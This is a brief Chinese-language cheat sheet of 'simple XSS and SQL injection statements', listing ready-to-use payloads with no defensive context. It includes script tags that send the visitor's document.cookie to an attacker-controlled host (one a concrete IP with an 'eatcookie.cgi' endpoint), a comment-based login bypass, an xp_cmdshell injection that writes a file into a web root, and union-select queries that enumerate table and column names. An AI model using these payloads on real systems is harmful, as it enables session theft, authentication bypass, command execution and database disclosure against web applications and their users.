简单的XSS与SQL注入语句

跳转至恶意站点

<script>location.href="恶意站点URL"+document.cookie;</script>

<script>location.href="http://192.179.175.218:81/cgi-bin/eatcookie.cgi?cookie="+document.cookie;</script>

数列数

select count(*) from employees where Login='user01'-- and Pass='user01'

执行命令

';exec master..xp_cmdshell 'echo "Hello \\ Every One 我是高铁侠" > c:\inetpub\wwwroot\temp\secure10_echo.txt' --

猜表名

' union select name, null, null, null, null, null, null, null from sysobjects where xtype='U' --

猜列名

' union select name from sysobjects where xtype='U' --
' union select name from sysobjects where xtype='U'and name > 'Categories' --
' union select name from syscolumns where id = OBJECT_ID('Employees') and name>'Address'--
' union select EmployeeID from Employees --